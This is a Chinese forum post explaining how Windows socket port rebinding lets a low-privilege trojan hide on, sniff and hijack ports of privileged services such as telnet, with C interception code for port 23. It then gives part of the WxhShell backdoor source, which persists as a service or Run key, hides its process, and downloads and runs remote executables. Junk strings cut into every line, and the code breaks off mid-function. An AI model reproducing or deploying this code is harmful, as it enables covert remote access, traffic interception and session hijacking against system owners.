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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (ZUHvvL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cr7 }^s  
_kef 0K6  
  saddr.sin_family = AF_INET; M?1Y,5  
=^M/{51j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6]K_m(F  
11 Q1AN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ag-(5:  
@0Ic3C[rH6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "g5^_UP  
<? q?Mn  
  这意味着什么?意味着可以进行如下的攻击: YvaK0p0Z  
"H'B*vc-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -_=nDH  
,LHn90S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3c-GY:VkLM  
<sb~ ^B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }bb;~  
T<n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Acez'@z  
b/+u4'"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G/)O@Ugp  
o_izl \  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 03$mYS_?  
R`NYEptJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5TH~.^`Fi  
ejSji-Qd  
  #include @a! #G  
  #include Wf+cDpK  
  #include `KZm0d{H  
  #include    Cjn#00  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h79}qU  
  int main() ` 'DmDg  
  { 5AFJC?   
  WORD wVersionRequested; k =>oO9`  
  DWORD ret; .Y tKS  
  WSADATA wsaData; 4>wP7`/+y  
  BOOL val; R$R *'l  
  SOCKADDR_IN saddr; !z\h| wU+  
  SOCKADDR_IN scaddr; m+ =] m_  
  int err; 8SMxw~9$  
  SOCKET s; {5Q!Y&N.%  
  SOCKET sc; owVX*&b{  
  int caddsize; 8?xE6  
  HANDLE mt; /:cd\A}  
  DWORD tid;   ju8> :y8  
  wVersionRequested = MAKEWORD( 2, 2 ); 1KU! tL  
  err = WSAStartup( wVersionRequested, &wsaData ); Cwv9 a^  
  if ( err != 0 ) { #|uCgdi  
  printf("error!WSAStartup failed!\n"); )HEa<P^kJl  
  return -1; Ki;*u_4{  
  } xK>*yV  
  saddr.sin_family = AF_INET; 3(>B Ke  
   )*u8/U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `}p0VmD{NE  
 on4HKeO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iDpSj!x/_  
  saddr.sin_port = htons(23); mVj9, q0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ./\@Km?  
  { y'3rNa]G1  
  printf("error!socket failed!\n"); /4yo`  
  return -1; sU=H&D99  
  } D(~U6SR  
  val = TRUE; Kew@&j~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j`EXlc~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ))qy;Q,  
  { x`mG<Yt  
  printf("error!setsockopt failed!\n"); oh4E7yN  
  return -1; vx{}}/B]J  
  } })'B<vq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,V7nzhA2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M`0V~P`^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S;Fi?M  
0- B5`=yU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9=s<Ld  
  { ko!)s  
  ret=GetLastError(); u2tfF  
  printf("error!bind failed!\n"); lqy Qf$t  
  return -1; y#`tgJ:  
  } q v-8)MSr  
  listen(s,2); m&d|t>3<  
  while(1) P?%s #I:  
  { F|`Hm  
  caddsize = sizeof(scaddr);  \__i  
  //接受连接请求 (O\ )_#-D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1 s\Wtw:  
  if(sc!=INVALID_SOCKET) zOJ%}  
  { A@`}c,G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L7l FtX+b  
  if(mt==NULL) z[ N`s$;  
  { =0 #O U  
  printf("Thread Creat Failed!\n"); ::`HQ@^  
  break; Fw_#N6Q  
  } gM&{=WDG6  
  } )Om*@;r(  
  CloseHandle(mt); ~-k9%v`  
  } jV i) Efy  
  closesocket(s); T9=I$@/  
  WSACleanup(); 1Yq!~8  
  return 0; X;$+,&M"  
  }   \$K20)  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5%"V[lDx@  
  { ;[ZEDF5H  
  SOCKET ss = (SOCKET)lpParam; j;zM{qu_  
  SOCKET sc; /l3V3B7  
  unsigned char buf[4096]; ibcRU y0%  
  SOCKADDR_IN saddr; 0S"mVZ*P  
  long num; hDDn,uzpd  
  DWORD val; J4hL_iCQ  
  DWORD ret; fuW\bo3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3<Lx&p~%T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {qk1_yP  
  saddr.sin_family = AF_INET; RbB.q p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /PVk{3  
  saddr.sin_port = htons(23); i$Ul(?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cZ,b?I"Q%  
  { Xg6Jh``  
  printf("error!socket failed!\n"); 9X6h  
  return -1; L;z?a Z7n  
  } rSY!vkLE\  
  val = 100; 9 ql~q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RH W]Z Pr<  
  { AI2)g1m  
  ret = GetLastError(); <sbu;dQ`  
  return -1; )$2QZ qX  
  } HZE#Ab*L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  }FROB/  
  { r `=I  
  ret = GetLastError(); '@v\{ l  
  return -1; SO/c}vnBB  
  } gT. sj d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C[cbbp  
  { >>r(/81S  
  printf("error!socket connect failed!\n"); yX>K/68  
  closesocket(sc); u,ho7ht3(  
  closesocket(ss); WCZjXDiwJ  
  return -1; :U|1xgB  
  } )rU  
  while(1) kt#fMd$  
  { u[;\y|75  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NWESP U):w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0D.Mke )  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Oi.C(@^(  
  num = recv(ss,buf,4096,0); tAd%#:K  
  if(num>0) ,L2ZinU:  
  send(sc,buf,num,0); l\H=m3Bg  
  else if(num==0) d0!5j  
  break; >b}o~F^J  
  num = recv(sc,buf,4096,0); 8Al{+gx@?  
  if(num>0) v4TQX<0s  
  send(ss,buf,num,0); ktXM|#  
  else if(num==0) :LQYo'@yB  
  break; g/d<Zfq<{  
  } 'ZF{R3Xu  
  closesocket(ss); 4i;{!sT  
  closesocket(sc); QE+g j8  
  return 0 ; 1ba~SHi  
  } 5DU6rks%  
{ 'eC`04E  
+.PxzL3?  
========================================================== 9.M4o[  
) w5SUb  
下边附上一个代码,,WXhSHELL g}oi!f$|  
C[AqFo  
========================================================== /U*C\ xMm  
J1U/.`Oy  
#include "stdafx.h" `g?Negt\v  
W+c<2?d:  
#include <stdio.h> x j)F55e?  
#include <string.h> F{e@W([  
#include <windows.h> (S5R!lpO  
#include <winsock2.h> oCv.Ln1;Z  
#include <winsvc.h> x8B}ZIbT9  
#include <urlmon.h>  Mx?d  
net@j#}j-  
#pragma comment (lib, "Ws2_32.lib") &m7]v,&  
#pragma comment (lib, "urlmon.lib") Xu'&ynID  
8 FK/~,I  
#define MAX_USER   100 // 最大客户端连接数 < NY^M!  
#define BUF_SOCK   200 // sock buffer H2 {+)  
#define KEY_BUFF   255 // 输入 buffer u~:y\/Y6  
ys^oG$lq  
#define REBOOT     0   // 重启 Lg+Ac5y}`  
#define SHUTDOWN   1   // 关机 +)om^e@.  
H|<[YYk  
#define DEF_PORT   5000 // 监听端口 k"%~"9  
2zA4vZkbcw  
#define REG_LEN     16   // 注册表键长度 |Zpfq63W  
#define SVC_LEN     80   // NT服务名长度 *;slV3  
+o{R _  
// 从dll定义API M/'sl;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [S%_In   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wmL'F:UP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UhWNl]Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )EuvRLo{S7  
uAq~=)F>,  
// wxhshell配置信息 ua$GNm  
struct WSCFG { i# /Jr=  
  int ws_port;         // 监听端口 \)904W5R  
  char ws_passstr[REG_LEN]; // 口令 2]jn '4  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sv#XIMw{,  
  char ws_regname[REG_LEN]; // 注册表键名 XEp{VC@=  
  char ws_svcname[REG_LEN]; // 服务名 ]cWUZ{puRB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4he GnMD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {6|G@ ""O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %XDc,AR[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y2dCEmhY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aiUY>M#|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _/$Bpr{R  
7>0o&  
}; x /S}Q8!"}  
xh,qNnGGi  
// default Wxhshell configuration \ a<h/4#|  
struct WSCFG wscfg={DEF_PORT, k,6f &#x  
    "xuhuanlingzhe", /4V#C-  
    1, t#})Awy^R  
    "Wxhshell", .V/Rfq  
    "Wxhshell", x"=f+Mr  
            "WxhShell Service", Y_IF;V\  
    "Wrsky Windows CmdShell Service", r'r%w#=`t  
    "Please Input Your Password: ", jXx<`I+]  
  1, Yui3+}Ms  
  "http://www.wrsky.com/wxhshell.exe", F#Ryu~,"  
  "Wxhshell.exe" UgN u`$m+  
    }; (0r3/t?DQ  
L.2^`mZs  
// 消息定义模块 ZohCP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _ QI\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z+wA rPxc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G@\1E+Ip  
char *msg_ws_ext="\n\rExit."; }5[qo`M  
char *msg_ws_end="\n\rQuit.";  / }X1W  
char *msg_ws_boot="\n\rReboot..."; '~<m~UXvD#  
char *msg_ws_poff="\n\rShutdown..."; #aJ(m&  
char *msg_ws_down="\n\rSave to "; 81F/G5  
;(/ZO%h  
char *msg_ws_err="\n\rErr!"; u;"TTN  
char *msg_ws_ok="\n\rOK!"; DB|Y  
U^%Q}'UYym  
char ExeFile[MAX_PATH]; \;3~a9q%  
int nUser = 0; 3?9IJ5p  
HANDLE handles[MAX_USER]; YeL#jtC  
int OsIsNt; K~{$oD7!  
&< `NT D  
SERVICE_STATUS       serviceStatus; ?0?#U0(;u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QB uMJm  
e0zq1XcZ  
// 函数声明 *8Xh(` Mj7  
int Install(void); gIa+5\qYY  
int Uninstall(void); )3}9K ^jS  
int DownloadFile(char *sURL, SOCKET wsh); x%m%_2%Z  
int Boot(int flag); Egp/f|y  
void HideProc(void); ~{g [<Qi  
int GetOsVer(void); mt{nm[D!Xp  
int Wxhshell(SOCKET wsl); 0/MtYIYk  
void TalkWithClient(void *cs); pfDc9PMj  
int CmdShell(SOCKET sock); kk@fL  
int StartFromService(void); xb~yM%*c  
int StartWxhshell(LPSTR lpCmdLine); cWsNr'MS*  
5h-SCB>P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tod&&T'UW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O)*+="Rg  
BC#C9|n  
// 数据结构和表定义 xp)sBM7A  
SERVICE_TABLE_ENTRY DispatchTable[] = T{.pM4Hd  
{ ?m}s4a  
{wscfg.ws_svcname, NTServiceMain}, r&JgLC(   
{NULL, NULL} 4y?n [/M/  
}; u(>^3PJ+  
p!7FpxZY  
// 自我安装 XB^'K2  
int Install(void) Vpz\.]  
{ <I\/n<*  
  char svExeFile[MAX_PATH]; Uw. `7b>B  
  HKEY key; wPd3F.<$  
  strcpy(svExeFile,ExeFile); QUc= &5 %  
<4si/=  
// 如果是win9x系统,修改注册表设为自启动 rdP[<Y9  
if(!OsIsNt) { 4{U T!WIi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?%-DfCS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eqd<MY7  
  RegCloseKey(key); x7&B$.>3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wr/"yQA]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qZtzO2Mt  
  RegCloseKey(key); !mJ"gg  
  return 0; 3 *"WG O5  
    } {0wIR_dGX  
  } t;}|tgC  
} e "4 ''/  
else { \5:i;AE  
5h=}j  
// 如果是NT以上系统,安装为系统服务 %~H-)_d20  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DFB@O|JL  
if (schSCManager!=0) WUe{vV#S'0  
{ kW Ml  
  SC_HANDLE schService = CreateService 3tIVXtUCUk  
  ( 30#s aGV  
  schSCManager, ;~ )5s'  
  wscfg.ws_svcname, y| i,|  
  wscfg.ws_svcdisp, ? r "{}%  
  SERVICE_ALL_ACCESS, |^"1{7)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )Xz,j9GzJS  
  SERVICE_AUTO_START, JxdDC^> 0  
  SERVICE_ERROR_NORMAL, eCU:Q  
  svExeFile, "Y =;.:qe  
  NULL, _ @NL;w:!  
  NULL, ArI2wM/v  
  NULL, 8oy^Xc+  
  NULL, BQE|8g'&T  
  NULL |}s*E_/[  
  ); 'j8:vq^d  
  if (schService!=0) u"cV%(#  
  { jKAEm  
  CloseServiceHandle(schService); DZ'P@f)]  
  CloseServiceHandle(schSCManager); {0Yf]FQb-a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r;.yz I  
  strcat(svExeFile,wscfg.ws_svcname); *SbMqASv4G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { taHJ ub  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vAF "n  
  RegCloseKey(key); ,F8Yn5h  
  return 0; Db}j?ik/  
    } ;40/yl3r3[  
  } Fx_z6a  
  CloseServiceHandle(schSCManager); sk<3`x+  
} |PCm01NU!  
} 0y'H~(  
:1. L}4"gg  
return 1; WTQ\PANAaR  
} 8`B3;Zmm  
36&e.3/#  
// 自我卸载 1Ti f{i,B  
int Uninstall(void) F3[T.sf  
{ ^+>laOzC`8  
  HKEY key; .GP T!lDc  
2+ N]PW\V  
if(!OsIsNt) { j ?3wvw6T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T"}5}6rSG  
  RegDeleteValue(key,wscfg.ws_regname); X Swl Tg  
  RegCloseKey(key); r4b 6 c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7?!d^$B  
  RegDeleteValue(key,wscfg.ws_regname); ed{ -/l~j  
  RegCloseKey(key); z [}v{  
  return 0; .]Y$o^mf  
  } bivuqKA  
} 4<w.8rR:A  
} JQ_sUYh~3  
else { k<nZ+! M  
~|D Ut   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UawyDs  
if (schSCManager!=0) :gv{F} ##  
{ $u6"*|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fh&G;aEq  
  if (schService!=0) Wa>}wA=v  
  { lwxaMjaL4K  
  if(DeleteService(schService)!=0) { }<0BX\@I  
  CloseServiceHandle(schService); }^ ~F|  
  CloseServiceHandle(schSCManager); !I{0 _b{  
  return 0; p}z<Fdu 0  
  } hn7# L  
  CloseServiceHandle(schService); >W=,j)MA  
  } ;LKkbT 5  
  CloseServiceHandle(schSCManager);  L^/5ux  
} e9Wa<i 8  
} hE'-is@7  
[: n'k  
return 1; +5g_KS  
} <Uk}o8E  
P-9)38`5  
// 从指定url下载文件 kr^P6}'  
int DownloadFile(char *sURL, SOCKET wsh) q5J5>  
{ Gt8M&S-;  
  HRESULT hr; xjUT{iwS  
char seps[]= "/"; |#v7/$!  
char *token; u"r`3P`  
char *file; D# 9m\o_  
char myURL[MAX_PATH]; ?um;s-x)  
char myFILE[MAX_PATH]; wy<S;   
dK$XNi13.5  
strcpy(myURL,sURL); %OL$57Ia  
  token=strtok(myURL,seps); ^&9zw\x;z  
  while(token!=NULL) m^!Z_]A![  
  { xk9%F?)  
    file=token; IEL%!RFG  
  token=strtok(NULL,seps); 7~G9'P<  
  } b i',j0B  
59 T 8r  
GetCurrentDirectory(MAX_PATH,myFILE); yM6pd U]i  
strcat(myFILE, "\\"); Z\bmW%av  
strcat(myFILE, file); <yV"6/l 0  
  send(wsh,myFILE,strlen(myFILE),0); ,i ^9 |Oeq  
send(wsh,"...",3,0); k$^UUo6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V@.Ior}w  
  if(hr==S_OK) ih-#5M@  
return 0; o)M}!MT  
else >jDDQ@  
return 1; ozyX$tp  
<`8n^m*  
} { T/[cu<  
T= 80,  
// 系统电源模块 f=l rg KE  
int Boot(int flag) nmee 'oEw  
{ |"q5sym8Y_  
  HANDLE hToken; W<h)HhyG  
  TOKEN_PRIVILEGES tkp; k&M;,e3v6  
{r,.!;mHu  
  if(OsIsNt) { f=+mIZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JMCKcZ%N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ydEoC$?0  
    tkp.PrivilegeCount = 1; xWH.^o,"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?.m bK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rET\n(AJ  
if(flag==REBOOT) { aL\PGdgO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L8@f-Kk  
  return 0; c`)\Pb/O  
} KWbI'}_z  
else { ;HfmzY(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '?{OZXg  
  return 0; EgEa1l!NSQ  
} dM.f]-g  
  } (' (K9@}  
  else { GhAlx/K  
if(flag==REBOOT) { 7uqzm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B&M%I:i  
  return 0; SBu"3ym  
} $j%'{)gK  
else { L]|gZ&^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n1ZbRV  
  return 0; (!u~CZ;  
} ^cC,.Fdw  
} ^ 'MT0j  
93>jr<A  
return 1; *g"Nq+i@  
} 1/B>XkCJ  
U7,e/?a  
// win9x进程隐藏模块 |w~nVRb  
void HideProc(void) EmWn%eMN  
{ AG nxYV"p  
vQG5*pR*w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |u% )gk  
  if ( hKernel != NULL ) P-_6wfg,;>  
  { 5:[0z5Hww  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [C 7^r3w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e-/&$Qq  
    FreeLibrary(hKernel); ZL&qp04}  
  } y-pJF{ R  
R{`(c/%8  
return; 4/~E4"8  
} gT{Q#C2Baw  
x3=A:}t8  
// 获取操作系统版本 8.1c?S  
int GetOsVer(void) 'T;P;:!\  
{ _IHV7*u{;  
  OSVERSIONINFO winfo; HQ_Ok `  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^rR1ZVY  
  GetVersionEx(&winfo); v |,1[i{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _#E0g'3  
  return 1; {GT*ZU*  
  else lWk>z; d  
  return 0; \##zR_%  
} BN5[,J  
%bn jgy  
// 客户端句柄模块 yf.~XUk^  
int Wxhshell(SOCKET wsl)  M mj;-u  
{ |*eZD-f  
  SOCKET wsh; 8P\G }  
  struct sockaddr_in client; CT <7mi!  
  DWORD myID; 8}x:`vDK  
tmYz R%i  
  while(nUser<MAX_USER) y3Qsv  
{ ha<[b ue  
  int nSize=sizeof(client); #powub  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e;q!6%  
  if(wsh==INVALID_SOCKET) return 1; J7$5s  
&{n.]]%O.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ] )\Pqn(  
if(handles[nUser]==0) LKB$,pR~1l  
  closesocket(wsh); \;,+   
else cGzPI +F  
  nUser++; OX0%C.K)hZ  
  } i v38p%Zm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :uS\3toj  
:gibfk]C  
  return 0; &vMb_;~B  
} / &5,3rU.G  
r.&Vw|*>  
// 关闭 socket [#vH'y  
void CloseIt(SOCKET wsh) #$07:UJ  
{ ZgcMv,=  
closesocket(wsh); R$<&ie6UQ  
nUser--; ',@3>T**  
ExitThread(0); `:KY\  
} M#6W(|V/  
7hcYD!DS  
// 客户端请求句柄 Wq&if_  
void TalkWithClient(void *cs) ;?i W%:_,  
{ %3-y[f  
,AFu C <  
  SOCKET wsh=(SOCKET)cs; 9G5rcYi  
  char pwd[SVC_LEN]; N/2 T[s_&  
  char cmd[KEY_BUFF]; dt]-,Y  
char chr[1]; R4cM%l_#W  
int i,j; nPl?K:(  
_4So{~Gf1  
  while (nUser < MAX_USER) { &i6mW8l  
n0 {i&[I~+  
if(wscfg.ws_passstr) { 9wwqcx)3(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s~g *@K>+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n5NsmVW\x  
  //ZeroMemory(pwd,KEY_BUFF); hd<c&7|G'  
      i=0; }@+0/W?\.  
  while(i<SVC_LEN) { YnAm{YyI  
!9r$e99R  
  // 设置超时 $k%2J9O  
  fd_set FdRead; 7(8;t o6(  
  struct timeval TimeOut; <{cQM$ #  
  FD_ZERO(&FdRead); \'D0'\:vz  
  FD_SET(wsh,&FdRead); 9~XA q^e  
  TimeOut.tv_sec=8; hx%v+/  
  TimeOut.tv_usec=0; Rtl"Ub@HV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =s2*H8]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); osAd1<EIC  
q"J]%zO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sIGMA$EK  
  pwd=chr[0]; S`0(*A[W*  
  if(chr[0]==0xd || chr[0]==0xa) { Jhhb7uU+  
  pwd=0; 7,o7Cf2z  
  break; `?_Q5lp/s  
  } $|@@Qk/T  
  i++; <0&*9ZeD  
    } xF'EiX~  
q dBrQC  
  // 如果是非法用户,关闭 socket zKJ#`OhT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IueFx u  
} )23H1  
IY\5@PVZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "7F?@D$e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cf20.F{<  
7' V@+5  
while(1) { u0c1:Uv#~e  
_op}1   
  ZeroMemory(cmd,KEY_BUFF); .jE{3^  
U$ElV]N  
      // 自动支持客户端 telnet标准   k"zv~`i'  
  j=0; zE9W8:7  
  while(j<KEY_BUFF) { &.Qrs :U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u?(d gJ  
  cmd[j]=chr[0]; dOH &  
  if(chr[0]==0xa || chr[0]==0xd) { |FZ/[9*  
  cmd[j]=0; @9RM9zK.q  
  break; {qJ1ko)$  
  } L+i=VGm0  
  j++; BG]#o| KW  
    } ?X<eV1a   
Zt{[ *~  
  // 下载文件 L48_96  
  if(strstr(cmd,"http://")) { Hd ={CFip  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A[{yCn`tM  
  if(DownloadFile(cmd,wsh)) ,Ah;A[%?~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FHg 9OI67  
  else ZG8DIV\D7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.u{~  
  } mL{6L?  
  else { "&?kC2Y|  
`e&Suyf4B  
    switch(cmd[0]) { Z0", !6nS  
  R.1.)P[  
  // 帮助 ,<P vovg_  
  case '?': { S g![Lsj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .g<DD)`  
    break; z,p~z*4  
  } 0pd'93C  
  // 安装 16(QR-  
  case 'i': { AH7}/Rc  
    if(Install()) wc4{)qDE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); By4<2u38u  
    else 2eY_%Y0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bwMm#f  
    break; qqY"*uJ'  
    }  ItrDJ'  
  // 卸载 nMUw_7Y6  
  case 'r': { Fk7')?  
    if(Uninstall()) Am|%lj+1z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aeM+ d`f  
    else :tg)p+KB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?GR"FmB(  
    break; ZKTz ,  
    } ;h  
  // 显示 wxhshell 所在路径 ;dgp+  
  case 'p': { 0GCEqQy8  
    char svExeFile[MAX_PATH]; -C]5>& W  
    strcpy(svExeFile,"\n\r"); >KhOz[Zg  
      strcat(svExeFile,ExeFile); :':s@gqr  
        send(wsh,svExeFile,strlen(svExeFile),0); 9qzHS~l  
    break; WW~sNC\3`(  
    } p}~JgEE  
  // 重启 ;[OH(!  
  case 'b': { i<Zc"v;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VjZ|$k  
    if(Boot(REBOOT)) Qpc__dA\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }WXi$(@v  
    else { S_UIO.K  
    closesocket(wsh); . 3T3E X|G  
    ExitThread(0); ( ^Nz9{  
    } 5<Nx^D  
    break; = m#?neop  
    } `+:`_4  
  // 关机 &d^m 1  
  case 'd': { S;#'M![8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =dYqS[kJW  
